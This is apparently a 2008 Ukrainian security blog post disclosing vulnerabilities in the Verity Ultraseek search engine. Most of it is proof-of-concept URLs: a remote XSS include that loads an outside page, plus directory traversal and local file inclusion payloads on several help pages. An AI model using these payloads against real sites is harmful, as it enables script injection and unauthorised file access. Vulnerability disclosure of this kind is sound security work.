Websecurity - Веб безпека

Як я нещодавно писав, 12.11.2006, я знайшов ряд уразливостей на websense.com (де раніше використовувався движок Ultraseek). І як я сьогодні перевірив на сайті виробника Verity Ultraseek, дані уразливості мають місце в движку Ultraseek.

Я підтвердив наявність раніше знайдених Cross-Site Scripting, Directory Traversal та Local File Inclusion уразливостей (окрім Full path disclosure) в Ultraseek, а також знайшов чимало нових уразливостей. Про що найближчим часом повідомлю розробникам даного локального пошуковця.

XSS: Remote HTML Include / Remote XSS Include:

http://site/highlight/index.html?url=http://websecurity.com.ua/webtools/xss_r.html&fterm=test&la=en&charset=utf-8&search=../query.html%3Fcharset%3Dutf-8%26qt%3Dtest

Directory Traversal:

http://site/help/syntax.html?la=/../../index

http://site/help/searchtips.html?la=/../../index

http://site/help/refine.html?la=/../../index

http://site/help/special.html?la=/../../index

http://site/help/boolean.html?la=/../../index

http://site/help/meta.html?la=/../../index

Local File Inclusion:

http://site/help/syntax.html?la=/../query

http://site/help/searchtips.html?la=/../query

http://site/help/refine.html?la=/../query

http://site/help/special.html?la=/../query

http://site/help/boolean.html?la=/../query

http://site/help/meta.html?la=/../query

This entry was posted on 23:56 12.02.2008 and is filed under Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.